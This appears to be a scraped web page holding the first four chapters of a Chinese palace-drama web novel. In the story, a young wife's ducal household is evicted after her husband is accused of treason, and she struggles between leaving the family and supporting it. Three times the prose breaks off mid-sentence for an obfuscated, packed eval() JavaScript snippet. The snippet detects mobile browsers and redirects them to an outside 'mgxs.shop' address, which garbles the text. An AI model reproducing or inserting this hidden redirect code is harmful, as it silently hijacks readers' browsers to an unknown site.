《兼祧两房后,夫君回来了》 1. 第 1 章 冰雪消融,杨柳依依,整个三月都暖洋洋的。 白青禾在府里憋了一冬,进了三月几乎每天都要带丫鬟出门转上一圈。 白家祖上曾追随开国皇帝出生入死,战乱平息后,封为三等侯。 可惜荣耀只维持三代,到白青禾祖父这代,沦落到普通人都不如,靠为歌坊、青楼谱曲为生。 大周朝百姓大致可以分为四等。 特殊阶层,包括皇亲国戚、贵族、士族和官僚士大夫。 接着是良民,平常百姓口中的士农工商。 三等便是士农工商外的其他行业人员。 四等则是贱籍,各种奴隶等,主家可以自行买卖。 而乐籍便是贱籍中的一个,通常都是罪犯人员的家属,充入乐籍,世代为乐户,不能科举,不能与良民通婚。 大多时候都会成为特殊阶层的玩物。 可以说一入乐籍,生生世世都别想翻身。 白家虽没沦落到乐籍,但为乐籍谱曲并不是什么光荣的事情。 后来白老爷子无意中偶遇皇上,并为皇上谱出一曲惊天地泣鬼神的杰作,龙颜大悦,皇上当即提拔他为六品礼部员外郎。 白老爷子退出官场前已经做到正四品礼部侍郎。 如果说白老爷子这辈子做的最成功的两件事,其一是封为正四品礼部侍郎,其二便是将宝贝孙女嫁进魏国公府,成为魏国公的嫡长子媳。 白青禾一直是祖父的骄傲。 她出生时,白家虽没恢复祖上荣耀,但祖父是皇上宠臣,父亲中进士后也封了九品官。 她出嫁后,父亲接替祖父职位,升为正四品礼部侍郎。 如无意外,肯定会青出于蓝而胜于祖父。 娘家这边,可以说没有一点让她操心的事情。 魏国公早年在战场断了一条腿,之后一直留在府里修养。 人又糙又莽,从不管府中事务。 婆母是个没什么主见和算计的柔软性子,她没进门时,把家里管的乱七八糟,她进门后接管府中中馈,家里才算流畅起来。 魏国公有两子一女。 长子是白青禾的丈夫慕青岚,十六岁上战场,今年二十二岁,从无败绩。 去年冬天又立了大功,被封为四品威远将军。 赏赐多到白青禾连咂了三天舌。 白老爷子逢人就炫耀,他这个孙女婿是个能耐人,前途不可限量。 次子去年参加科举,乡试中了解元。 殿试被皇上钦点为头甲第三名,赐进士及第。 也就是常人口中的探花郎。 今天正是他进翰林院当值的日子。 今早换上官服,面如朗月,眸带疏狂。 真可谓春风得意马蹄疾,一身锦绣风光。 未婚妻又是户部尚书之女。 两人的身份一个比一个尊贵,绝对的强强联合。 魏国公唯一的女儿比白青禾小两岁,还没成亲,也就这一两年的事,夫家和国公府门当户对。 魏国公府如日中天,朝中大臣哪个不羡慕。 作为国公府的嫡长媳,白青禾出身不高,早已成为满京城父母口中别人家的姑娘。 跨越阶层,嫁进婆家就拿到管家权,执掌中馈,丈夫屡立战功,小叔新中探花,小姑敬爱有加,未来可见的,什么烦心事都不会有。 白青禾自己也是这么想的。 她对现在的生活十分满意。 唯一遗憾也只有,成亲第二天丈夫就出征了。 两个人连房都没圆。 也是丈夫做人,担心自己战死沙场,她留在国公府白白受磋磨,真有那天,任由她嫁娶,公婆不能阻拦。 能嫁给这样粗中有细的男人,日常相处肯定和睦。 她只希望丈夫早些凯旋。 “小姐,您看这支金钗好看吗?” 婢女桃花拿起一支金钗给她看。 白青禾从回忆里抽离回来,被金灿灿的发钗闪到,点了点头。 “好看……” “吆,还有心情看首饰呢。” 白青禾话没说完,被人莫名其妙打断。 声音听着耳熟,她转头给对方一个冷冰冰的眼神,“管你什么事!” 对方是个和她年岁差不多大的小姑娘。 往常见到她,眼里都是羡慕之情,今天却充满了嫌弃。 “是不管我的事,我只是想告诉你,魏国公府的天……塌了,你再不回去,可能连门都进不去了。” 白青禾一个字都不信,“你少胡说,公婆怎么可能不让我进门。” 公爹不管事,婆母对她信任有加。 嫁进国公府一年来,她自问没出任何纰漏,怎么会连家门都进不去。 难道是丈夫回来了…… 很多画本子里会写,男人凯旋时都会带个欢好的女子,更有甚者,连孩子都有了。 要求正妻给外室女让位。 她和丈夫虽然都生活在京城,可婚前并无来往。 算得上盲婚哑嫁。 她对丈夫人品了解不多。 这种情况也不是没有可能。 她又不是软柿子,他真敢带女人回来,她就和离。 白青禾心思飞快运转。 听见对方又说:“还傻愣着干什么,你丈夫,慕卿岚投敌叛国,魏国公削爵罢官,查封国公府,你现在跑回去,还能带点自己的东西出来,再晚些,可就真进不去家门了。” “投敌叛国?”晴天霹雳不过如此。 白青禾好一会儿才找到自己声音,她紧紧握住桃花的手腕,勉强撑住自己不断发抖的身体。 “你胡说,我丈夫年前还立过功,怎么可能投敌!” 白青禾这副风雨飘摇的样子,对方看在眼里,别提多痛快了。 “这么大事,我敢骗你还怕国公府报复,你不信,回去瞧瞧不就知道了。” …… 白青禾不相信丈夫投递叛国。 那可是抄家灭门的大罪。 他不要父母族人了? 可别人不能拿这种事开玩笑,所以,丈夫投敌叛国,十有八九是真的。 白青禾急匆匆往回跑。 同时心里在飞快计较着。 慕家出现这种人,生生世世都别想翻身了。 能保住三族,也逃脱不了充军发配的厄运。 她才十七岁,大好的年华不能被国公府连累了,此刻她要做的便是和魏国公府划清界限。 光凭自己的能力可能不够,她打发桃花回白家,将此事告诉祖父和父亲,让他们想办法。 她则用最快的速度赶回国公府,让魏国公和国公夫人把和离书签了,从此白家和慕家再无关系。 如果慕卿岚战死沙场,她断不会生出此种心思。 可恨他竟然投敌叛国,连累她这个没圆过房的媳妇不说,白家都有可能受牵连。 慕家也别怪她无情无义,她能保住自身,将来才有机会拉他们一把。 白青禾这辈子都没跑出过今天的速度。 她气喘吁吁赶到国公府门口,心脏都仿佛不是自己的。 此时国公府大门贴上封条,大门口被差役团团围住。 而魏国公一家全都挤在门口,还有不少看热闹的围观百姓。 有哭的,有喊的,有叫的,有闹的,有呵斥的,有维持秩序的…… 场面十分混乱。 白青禾一时挤不进人群里。 又不好当着这么多人的面和慕家划清界限。 慕家最终什么结果她不知道,白家姑娘无情无义先被戳脊梁骨了。 白青禾躲在人群后边,绞尽脑汁琢磨着找个什么借口既能保住体面,又能脱离慕家。 对了,慕卿岚投递叛国,她干脆站在大义面前,誓要与这种乱臣贼子割袍断义,从此以后男婚女嫁,各不相干。 白青禾自认这个主意十分友好。 既能保住白家名声,又能表明自己忠君爱国之心,还能和慕家划清界限。 白青禾深吸一口,打算推开人群挤到魏国公夫妻面前。 可惜她慢了一步,已经有人赶到魏国公夫妻面前。 是她小姑的夫家,清远侯府。 清远侯府消息灵通,圣旨还没出皇宫,清远侯府就得到了消息。 此刻赶过来退亲的不是清远侯,而是侯府嫡长子,代表父母携定亲信物来的。 “慕卿岚投递叛国,背信弃义,大逆不道,我们清远侯府决不与这种人结亲,从此刻起,侯府与慕家再无关系,这是定亲信物,还请魏国公……慕老爷拿回去,将我侯府信物交出来。” 白青禾听得目瞪口呆。 侯府竟然用这种借口退亲。 早知如此,她该抢先一步的。 魏国公血气上涌,怒视着清远侯府嫡长子,人已经被削爵,可气势不减。 “这是你们清远侯府主动退婚,日后查出真相,我儿并非投递叛国,那时别上门求情。” 他一把夺过定亲信物,却还不出清远侯府的信物。 白青禾的小姑,慕卿紫咬牙切齿狠狠瞪着对方,“这是阿忠的意思?” 侯府嫡长子不屑道:“难不成,你一个落魄的乞丐还想嫁进我们侯府?” 慕卿紫身为国公府唯一的女儿,从小养尊处优,娇生惯养长大的,何曾受过这种侮辱。 “想要回定亲信物,好啊,有种揭了封条,你进去拿!” 皇上下旨,国公府所有人驱逐出府,除了身上衣服,任何东西不许带走。 慕卿紫怎么会随身携带夫家给的定亲信物。 侯府嫡长子被噎到,他有天大的胆子也不敢揭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515287|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开封条。 “不管怎么说,婚事就此作罢,这辈子,你都休想嫁进我们侯府!” 侯府嫡长子甩袖而去。 慕卿紫冲着他的背影狠狠啐一口。 “呸,我这辈子嫁猪嫁狗,也不嫁给你们韩家。” 魏国公左腿膝盖以下都没了,又气又怒之下,拐杖撑不住他高大的身躯,只能找地方坐下。 慕夫人好不容易给女儿定下一门好亲事,眼睁睁看着人家把定亲信物送回来,可想而知女儿这辈子得多苦,眼前天旋地转,险些昏死过去。 白青禾注意到婆婆身体不好,急忙挤过人群赶过去扶住她。 “娘,您没事吧?” 慕夫人逐渐恢复神智,紧紧握住她的手,年过四十的妇人,眼泪像断了线的珠子,噼里啪啦往下落。 白青禾于心不忍。 反正像清远侯府那般大义凛然,站在穆家的对立面,把自己置于道德制高点,她是做不出来了。 可慕卿岚投敌,祸及三族。 追究起来,白家都逃不掉。 她不能连累父母。 既然不能站在道德制高点,那就把自己表现的委屈一些,反正慕夫人心疼她,她再从话里引导一番,让慕夫人主动开口,赶她离开慕家。 那便不是她主动离开。 感情上,慕家人更容易接受一些。 白青禾打定主意,准备开口。 “娘……” “慕夫人,”白青禾再次被人打断。 打断她的不是别人,正是小叔的未婚妻,赵如烟,也是她的表妹。 赵如烟温温柔柔给穆夫人行礼,脸上梨花带雨,仿佛一朵不堪丰风雨摧残的小娇花。 慕夫人扔了白青禾,紧紧抓住赵如烟,“如烟,你总算来了……” 赵如烟是户部尚书的女儿。 赵尚书深得皇上喜爱。 这个时候,如果还有一个人能为慕家说上话,那便是赵尚书了。 慕夫人把所有期望都放在赵如烟身上。 话没说出来一句,全是眼泪。 白青禾很想拉回婆母。 赵如烟那么自私的人,这个时间赶过来,除了退婚还能是什么。 婆母还期望赵如烟帮忙,她不落水下石就不错了。 “慕夫人,”赵如烟用手帕装模作样按按眼眶,“按理,这个时候我该跟慕家站在一起,帮忙查清楚真相,可大哥他……唉,他怎么能做出如此糊涂事,我也是有心无力……” 她不给穆夫人开口的机会,“如烟知道,慕夫人最疼如烟了,肯定舍不得连累如烟,跟着慕家一起受苦,退婚你们说不出口,如烟却不能装作不知道……” 她将订亲信物塞进慕夫人手里。 “这个,您收起来,我和二郎的婚事就罢了吧……” 赵如烟捂着脸,仿佛很伤心的样子跑出人群。 留下慕夫人眼前又是一黑。 白青禾刚想好的办法,又被别人用了。 到底相处一年的家人,她看不得婆母悲伤过度。 这可怎么好! 白青禾绞尽脑汁,用清远侯府的说辞,很容易被人看出来她东施效颦。 赵如烟用过的办法,她嫌弃,宁愿一辈子被人戳脊梁骨,她都不会再用。 那就只能挑慕卿岚的毛病了。 谁让他投敌叛国的。 白青禾成亲一年,没圆房,何苦受他连累,这和公婆无关,是慕卿岚不做人。 希望公婆体谅。 可惜,白青禾失策了。 这套说辞被二房抢先用了。 魏国公弟弟一家一直住在国公府。 一儿一女接连退亲后,慕老二坐不住了,他携妻子、儿女、小妾辞别慕家。 不是他们狠心,非要和慕家断绝关系,实在是慕卿岚不做人。 亲叔叔无所谓,愿意和侄子荣辱与共,可孩子是无辜的,不能一辈子顶着叛贼家人的名义活着。 今天当着所有街坊邻居的面,割袍断义,从此桥归桥,路归路,再无瓜葛。 慕夫人眼前再一次发黑。 白青禾:“……” 那是她的词啊! 她悄悄掐了把自己,死脑袋快点想,怎么尽快和慕家脱离关系。 就在此时,忽然感觉有什么凉飕飕的东西横在脖颈处。 她下意识转头,就见一柄明晃晃的利剑横在肩膀上,随时都能让她见血封喉,去见太奶奶! 而手持这把利刃的,正是今天早晨意气风发离开国公府去翰林院上任的小叔。 慕卿白。 此刻,慕卿白双眼发沉,整个人被一层巨大的阴影笼罩,仿佛来自地狱的恶魔。 他盯着白青禾。 声音如鬼似魅。 “嫂嫂,你也要走吗?” 2. 第 2 章 白青禾有理由怀疑,她但凡说错一个字,慕卿白都会好毫不犹豫让她血溅当场。 魏国公爵位被削,国公府被封,奴仆遣散,全家被赶出来。 如果雷霆之怒到此为止,全家还能有条活路。 就怕以后慕卿岚反帮敌国打上门,那时皇上肯定会拿慕家开刀。 慕卿白作为慕卿岚弟弟,国公府次子,肯定逃脱不掉。 绝望之下,破罐破摔,杀了她这个想要和慕家断绝关系的嫂嫂,再合理不过。 为了这条小命,她必须让慕卿白打消疑虑。 思量妥当,她举起三根手指发誓,“我白青禾生是慕家人,死是慕家鬼,誓与慕家共存亡。” 她这段话说的铿锵有力。 慕卿白果然抽走利剑。 她也松了口气。 慕夫人很喜欢白青禾这个儿媳妇,有主见、有能力、聪慧漂亮,担得起国公府大小事务。 而且,她相信白青禾足够善良,绝对不会在慕家落难之时抛弃慕家。 眼看着小儿子对儿媳动刀,生气道:“你做什么,青禾怎么会抛弃我们!” 慕卿白干脆利落收了长剑,“最好如此!” 白青禾心虚极了,婆婆如此信任她,她却从未想过和慕家共同进退。 就算此刻,她仍然存着离开的心思。 慕卿白不会凭白放过她,只希望父亲给点力,求得皇上允许,她名正言顺和慕家撇清关系。 皇上不许慕家离开京城,查封了国公府,遣散奴仆。 命大太监对慕家所人搜身,什么珠宝首饰,随身携带的玉佩,全都搜刮干净。 白青禾从小戴的一只小玉葫芦都被搜走。 一家人无处可去,只能找座破庙暂避。 白青禾扶着慕夫人坐到稻草堆上,心不在焉地盯着慕卿白。 狗男人不管妹夫退婚,不管自己的未婚妻退婚,盯着她一个没圆房的嫂子做什么! 魏国公瘸着一条腿拄着拐杖坐到慕夫人身边,长长叹了口气。 “阿岚糊涂啊!” 慕夫人一个后宅妇人,什么计较都没有,从知道儿子投敌开始一直哭到现在。 眼泪仿佛流不尽一般。 白青禾不停地给她擦啊擦,眼角周围的皮肤都快擦破了。 “娘,我总觉得阿岚不是那样的人,会不会消息有误?” 她和慕家一时半会撇不清关系,尽量往有利的方向想。 慕卿紫擦干眼泪,气呼呼道:“皇上都下旨了,还能有假吗,听说都过去一个月了,但凡有假,大哥也该回一趟京城解释清楚,如今害得我们流落街头,连住的的地方都没有。” 魏国公到底是个经历过大风大浪的人。 此刻还能维持住任由风雨飘摇,我自岿然不动的形象。 “青禾言之有理,阿岚每战都能身先士卒,宁愿战死沙场,也不向敌人示弱,怎么会投敌,卿白你想办法走一趟边关,调查一下真相到底如何。” 皇上有旨,慕家所有人不得离开京城。 慕卿白很难名正言顺出去。 白青禾管不了那么多。 她现在一门心思祈祷,父亲能帮她离开慕家。 傍晚桃花找到破庙,拿出藏在包里的五个馒头。 “小姐,”她背着慕家人悄声道,“上边生气,老爷没见到人,你大概回不去白家了。” 白青禾理解父亲的处境。 他不过一个四品侍郎,哪是想见皇上就能见到的。 以前有魏国公府照着,满朝文武谁不得给几分薄面。 如今魏国公倒台,白家多少会受牵连。 能不能把这个侍郎做下去都很难说,再为自己惹怒圣上,白家的下场只会比国公府还惨。 她确实想过好日子,可也不能连累亲人受罪。 心里酸酸的,她反倒叮嘱桃花:“跟我爹娘说,我很好,不要他们挂心,有机会给我拿些银子就好。” 桃花脑袋摇得像拨浪鼓:“可不敢拿银子,上边下旨了,谁敢给慕家提供银钱帮助,一律同罪处理,满朝文武没人敢为慕家说话,别说拿银子了。” 白青禾担心道:“那这馒头?” 桃花还挺有道理,“馒头不算银钱,皇上又没要慕家人的命,馒头都不给吃,难道要饿死吗!” 白青禾赞许地拍拍桃花肩膀,“你还挺聪明。” 她将五个馒头,分给公爹一个,婆母一个,小妹一个,她一个,还剩一个正好给慕卿白。 不过她记恨慕卿白刚才用剑指着她,决定把最后一个留下来,明天早晨吃。 “桃花,你回去吧,我们今晚可能得在这里将就一宿,明天再想办法。” 桃花从小跟着白青禾,从未分开过。 “小姐,你在这里受苦,我怎么能一个人回去享福。” 白青禾是个想得开的性子。 一时半会脱离不了慕家,她便尽量让生活过得舒心些。 “皇上下旨遣散奴仆,你还留下来不是故意和皇上做对吗,听我的,你回白家去,隔三差五给我们送些吃的,那便是帮我了。” 桃花依依不舍地离开破庙。 “小姐,你一定要保重身体。” 白青禾朝她摆摆手,催促道:“趁着天亮,快些走吧。” 视线收回时,不巧和站在破庙门口的慕卿白有一段短暂的视线接触。 她可是个记仇的。 狠狠瞪对方一眼,让他自己去体会。 慕夫人哪有心情吃东西,馒头吃了半个,剩下的塞给魏国公。 她出身名门,从小得父母疼爱,嫁给魏国公后,夫妻恩爱,敬重有加。 两个儿子,一个习武,能征善战,一个学文,才二十岁就高中探花。 女儿聪慧漂亮。 儿媳妇能干又懂事,进府便担起中馈。 可以说,她这半生,没吃过苦,没受过累,全京城再也找不出一个比她幸福的女人。 哪想到有一天会被赶出家门,流落到破庙。 天塌了也不过如此。 她歪在草堆上,眼泪还在往下流。 慕卿紫也没心情吃东西。 更何况没滋味的白面馒头,平时都不会瞅一眼的东西。 “嫂子,我不饿。” 白青禾也不多劝,及笄的姑娘不用劝,饿了会找东西吃。 她干脆利落收回馒头,和之前剩下的一个放在一起,都留着明天吃。 家人通敌,魏国公携一家五口住到破庙。 他谁都没求。 能帮他的都是亲戚朋友,他不忍心牵连人家。 不能帮不肯帮的,他求也没用。 当天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515288|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,三名女子住在破庙里。 魏国公和慕卿白两个人轮流值夜。 第二天早晨,一家人合计接下来的生计问题。 皇上不许朝臣在金银上帮助他们,只能自力更生。 至少先把温饱问题解决,再找个住的地方。 慕卿紫昨晚没吃东西,今早饿得肚子咕咕直叫。 “嫂子,馒头还有吗?” 白青禾拿出仅剩下的两个馒头,递给慕卿紫一个。 这是她昨晚的份,应该给她。 还剩下一个,掰成四份,分给公婆一人一份,自己一份。 剩下一份该给慕卿紫。 不过她已经有一整个了。 白青禾犹豫半晌,负气一般怼到慕卿白面前。 “给你吧。” 慕卿白没接,“我不需要。” 白青禾可不是没眼色的人。 人家不要,这是给她脸色呢,她凭什么低三下四哄着他,求他吃东西。 昨天用刀逼着她留在慕家,两人之间就没什么情谊可言了。 再说,他大哥投敌,他们是一母同胞,生死兄弟。 她可是个外人。 凭什么跟他们一起受罪。 “正好我肚子饿呢。” 她三两口吞进肚子里,根本不给慕卿白反悔的机会。 可怜馒头太干,她又吃得太快,噎到了。 咳咳咳…… 白青禾使劲锤着胸口,恨不得把馒头抠出来。 桃花也太笨了点,知道给她带馒头,不知道给她带些水。 可恨昨天太监把慕家所有人都搜个遍,一分银子没剩。 买水是不可能了,只能去谁家讨一碗。 “嫂子,我们接下来怎么办啊?” 慕卿紫终于发现她二哥没东西吃了,分给他半个馒头。 看见嫂子噎到,她一边给嫂子捶背,一边哭哭啼啼的问。 白青禾哪想到有一天自己会沦落街头,情急之间哪有合适的办法。 公爹是个大老粗,只怕没办法指望。 婆母是个四十岁的嘤嘤怪,眼泪比黄河水都多,总也流不完。 小姑年纪小,别拖后腿就不错了。 小叔…… 一个只会用剑逼她的豪门贵公子,能有什么指望。 白青禾盘算来盘算去,这个家,还得指望她。 “一会儿我们去城里看看,能不能找个活干,先赚点银子填饱肚子再租个宅子,总不能一直住在破庙。” 魏国公特别赞同白青禾的说法。 “青禾说的对,天无绝人之路,皇上不许别人接济我们,可不能阻止我们赚银子。” 他拍着自己左边残腿,红着脸底气十足道:“不管阿岚真投敌还是假投敌,老夫戎马半生,这条腿都是为大周没的,皇上不能断我一家的活路。” 慕卿紫担心道:“可是我们能找什么办法赚银子?” 魏国公朝堂怼人,一个顶十个。 让他赚银子,比战场杀敌可难多了。 他低头沉思半晌,还真想到一个办法,“胸口碎大石!” 白青禾无奈抚抚额,就知道不能指望公爹。 胸口碎大石,别说他没做过,就是做过,这个节骨眼上演杂技,不提皇上怎么看,那些政敌都得刁难他到爬不起来。 3. 第 3 章 瘸腿的公爹,嘤嘤怪的婆婆,毫无主见的小姑,冷漠看不出心思的小叔。 白青禾能怎么办,她连抱怨的时间都没有,就得想办法把这个家撑起来。 “爹,娘,你们两个还是留在这里休息吧,我和小紫出去转转。” 魏国公叹了口气,“委屈你了孩子,卿岚不做人,连累了你……” 他是个糙人,说不出什么感性的话,“等他回来,我非大鞋底子呼死他!” 慕夫人昨晚哭了大半宿,今早眼睛肿着,这会只能睁开一条缝。 她紧紧抓着白青禾的手,片刻都舍不得松开。 “这个家……唉,都靠你了。” 白青禾算发现了,她此时离开这个家,这个家就得散。 她不是心狠之人,做不出来那么绝情的事。 和慕家脱离关系的心思逐渐转淡。 不管怎么说,她先帮慕家度过这个难关,将来走的时候也能心安些。 她和慕卿岚成亲不过一年,都没圆房,肯定不会守着他的骂名过一辈子。 “娘,您放心吧,天无绝人之路,会有办法的。” 白青禾拉着慕卿紫离开破庙的时候,没看到慕卿白。 想来他这个国公府小少爷,没吃过苦,没受过累,一门心思读书的书呆子,除了难为她这个小女子,也做不出什么惊天动地的事情来。 “嫂子,我们一家不会要一直流落在这个破庙吧?”慕卿紫慌得六神无主。 “大哥到底怎么回事,怎么能投敌呢,害得我们一家流落街头,幸好父亲立过不少大功,否则我们一家都得进大牢里,等着砍头。” 慕卿紫嘀嘀咕咕骂了一路。 白青禾心里也烦,可她不好说出来。 小姑做了不主心骨,只会越发慌乱。 “别想那么多,总有办法的。” 如今国公府获罪,一人通敌,全族受牵连。 慕家人所到之处,犹如瘟疫一般,不管亲朋还是好友,全都避之不及。 白青禾和慕卿紫走了大半天,熟人没少见,全都躲得远远的,很明显没有帮忙的想法。 她也不打算触人家霉头。 慕卿紫气到破口大骂。 “这些忘恩负义的混蛋,哪个没受过我们家恩惠,如今见到我们像躲仇人似的,良心都喂了狗!” 魏国公是个糙人,在家庭小事上从无计较。 所有和他来往的人,或多或少都会占些便宜。 慕夫人心软,谁跟她诉苦家里遇到难事,不管钱财还是人情往来上,她都尽量帮忙。 而慕卿紫更是个不食烟火的大小姐。 金银随手就撒。 原来大家都把她当成行侠仗义的散财童女。 所谓富在深山有远亲,穷在大街无人问,便是他们此刻的情形。 “算了,只要不落井下石就是好人。” 白青禾苦思谋生之策同时还要安抚炸毛的娇小姐。 三四月份的中午,不冷不热,正是市集最热闹的时候。 小摊小贩的吆喝声一声接一声,谈成交易,高高兴兴收银子,再夸几句买家爽快,今年必发大财。 谈不成,偷偷骂一句穷鬼,再啐上一口。 很快笑脸迎接下一位顾客。 白青禾心里盘算着,实在没办法,也弄这样一个小摊,大富大贵不容易,一家人糊口还是没问题的。 只是不知道自己能经营什么。 她把几样感兴趣入行又不难的小摊挨个问过去。 一件东西都没买,少不得被人骂一句穷鬼。 心里忍不住笑,等她做了小贩,也会这般骂顾客么? 慕卿紫遇到昔日好姐妹,竟然躲着她,心里气恼,扔下白青禾追上去讨说法。 白青禾也不拦。 慕卿紫不是吃亏的主,哪怕国公府落难,她还有跟随魏国公学的一身好武艺,不至于被人欺负。 让她发泄一下也好。 白青禾走着走着,忽然被人拉走,拐到一处安静的角落。 是她的好朋友孙筠筠。 孙筠筠比她大两岁,是民间教坊的一名乐女。 人长得漂亮,有一副好嗓子。 当年她祖父战败,全家充入教坊,世代都为乐籍。 孙筠筠这辈子最大的心愿就是脱离乐籍,嫁一位良人。 三年前,白青禾和孙筠筠无意中相识,为她谱了一曲。 第一次在教坊里登台,便得到所有宾客的奖赏,很快成为脍炙人口的传唱佳作。 到现在,很多名门公子去教坊首点都是这首。 不过乐籍属于贱籍,且世代为贱籍,很难脱离,且不得与良民通婚。 一旦入了贱籍,只能供人取乐,成为上层人士的玩物,生生世世都会低人一等。 白老爷子当年沦落到为贱籍谱曲,是他一辈子的耻辱。 进入官场后,命令白家所有人都不得与乐人来往。 之前,白青禾和孙筠筠来往都是偷偷的。 那时,孙筠筠见不得光。 此刻,慕家出了投敌的叛徒,国公府败落,白青禾成了过街老鼠。 反倒担心给孙筠筠带来不便。 “筠筠,你见到我不躲着些,拉我做什么?” 孙筠筠倒是很开心。 “以前我不敢找你,担心白家人找我麻烦,现在不怕了。” 白青禾无语道:“我是犯人家属,你小心我连累你。” 孙筠筠无所谓道:“我都已经是贱籍了,还能被连累到哪!” 白青禾不喜欢这种偷偷摸摸的行为。 “反正你快点回去吧,最近别沾我。” 万一皇上后悔,觉得国公府处罚太轻,今天沦落街头都是未来的巅峰生活。 孙筠筠不肯走。 她从怀里摸出二两银子,“这个你拿着,够你们一家人几天花用了。” 白青禾说什么都不肯要。 “皇上有旨,任何人不得资助慕家金银,你还要脱籍的,被人告发,这辈子都没机会了。” 孙筠筠确实犹豫了。 脱籍是她这辈子最大的心愿,“就二两银子,不能吧……” 白青禾认真道:“现在不知道多少双眼睛盯着国公府,还是小心点好。” 孙筠筠收回了银子。 “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515289|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,不让人资助,那你们自己赚的可以吧?” 自己赚银子都不行,皇上还不如直接判慕家满门抄斩。 “皇上没说,应该可行。” 孙筠筠笑了:“正好我有事求你,最近朝廷给了我们教坊两个名额,可以脱籍,我想着试一试。” 有希望是好事。 白青禾真心恭喜道:“祝你早日达成所愿。” 接下来才是孙筠筠的重点。 “我想请你帮我再谱一曲,三年前你帮我谱的《兰怨》,所有人都喜欢,之后很多人打听谱曲之人,你这么有天赋,再谱一曲,传唱度肯定比《兰怨》还高,我只要再有一首名作,脱籍就稳了。” 她担心白青禾拒绝,伸出两根食指比划,“一首曲子,十两银子,青禾,我的好姐妹,你就答应我吧。” 十两银子可赚,换成别的事,白青禾肯定毫不犹豫地答应。 可谱曲啊…… 她还真没办法同意。 “你也知道我家的情况……” 白老爷子曾经带领白家全族跪在祠堂里,当着祖宗的灵位发誓,此生绝不参与任何作词、谱曲相关活动。 也不得与乐人来往。 否则逐出白家,不再是白家子孙。 白青禾三岁时懵懵懂懂跟着老爷子发过一回誓。 七岁时,被老爷子发现她有这方面的天赋,又被爷爷按着发过一回誓。 出嫁前,别人家的祖父都是叮嘱孙女安守本分,孝顺公婆,顺从丈夫一类。 而白老爷子拉着她的手,叮嘱的却是不许与乐人来往。 更不许为歌坊谱曲。 三年前,如果不是她看孙筠筠躲在角落里哭,心生同情,也不会把自己新谱的曲子送给对方。 之后她胆战心惊过了好长时间,生怕被老爷子发现,赶出白家。 孙筠筠能否脱籍的希望全都寄托在白青禾身上。 “青禾,我求你了,你就帮帮我吧,此一时彼一时,如今你是慕家人,出嫁从夫,你只要遵守慕家的家规就好了。” 话是这么说,可白青禾心里还是虚的。 “你让我想想。” 孙筠筠不甘道:“今年北域大捷,皇上高兴给了民间教坊两个脱籍名额,这可是大周朝成立百余年从未有过的事情。 你也知道,入了乐籍,世世代代都为贱人,不得与良民通婚,子女不能参加科举,一辈子供人取乐,成为有钱人的玩物,我不想这样过一辈子,错过这次机会,以后再也没了,青禾,难道你希望我一辈子给人取乐,以后的子女也给人取乐吗?” 这话说的白青禾心里酸酸的。 可跟着爷爷在祖宗灵前发誓的情景历历在目。 她又怎么能违背自己的誓言。 “筠筠,你给我点时间。” 孙筠筠又道:“一首曲子,十两银子,虽然不多,可我能拿出来的银钱也就这些,慕家能暂时度过难关,你既帮了我,也帮了慕家,两全其美,不是么!” 白青禾不动心是假的。 可给乐人谱曲,是白家的禁忌。 老爷子都快七十岁了,她这个不孝的孙女还要惹他不痛快么! 4. 第 4 章 和孙筠筠分开后,白青禾找到慕卿紫,两个人一起回破庙。 都心不在焉的,一路上谁也没说话。 孙筠筠给白青禾银子,她没要。 孙筠筠是个心细的姑娘,买了十个烧饼、一只烧鸡塞和两袋水给她。 “这个,给伯父和伯母吃,这几天难熬,别弄坏了身子。” 在这个人人恨不得踩一脚的时候,还有人不顾危险送吃送喝,这份情谊有多难得,不言而喻。 白青禾心里充满了感动。 可以说,这段友谊,孙筠筠付出的一直比她多。 碍着身份的原因,每次见她都小心翼翼。 如今,孙筠筠终于有了脱离贱籍的机会,作为朋友,自当竭尽全力。 可她竟然犹豫起来。 祖父带她在祠堂发誓的一幕,始终在脑海里挥之不去。 她从小谨遵的规矩便是,不能给乐人写词谱曲,不能和乐人来往。 他们白家是开国功臣,祖父年轻时不得已为乐人谱曲,被达官贵人当成戏耍的玩物。 后辈不能自甘堕落,在条件如此优渥的时候,还给白家丢人。 如果她给乐人谱曲的事情传出去,年迈的祖父大概要气到去见白家老祖。 白青禾和慕卿紫回到破庙,慕卿白不在,只有瘸腿的魏国公和慕夫人。 魏国公坐在大石头上,手持拐杖指天骂地。 儿子投敌真相如何,还没调查清楚,他魏国公戎马半生,甚至这条腿就是为皇上断的,不能把他一家老小赶到大街上了事。 国公府回不去可以,怎么也得给个遮风避雨的地方。 “夫人,我进宫找皇上去!” 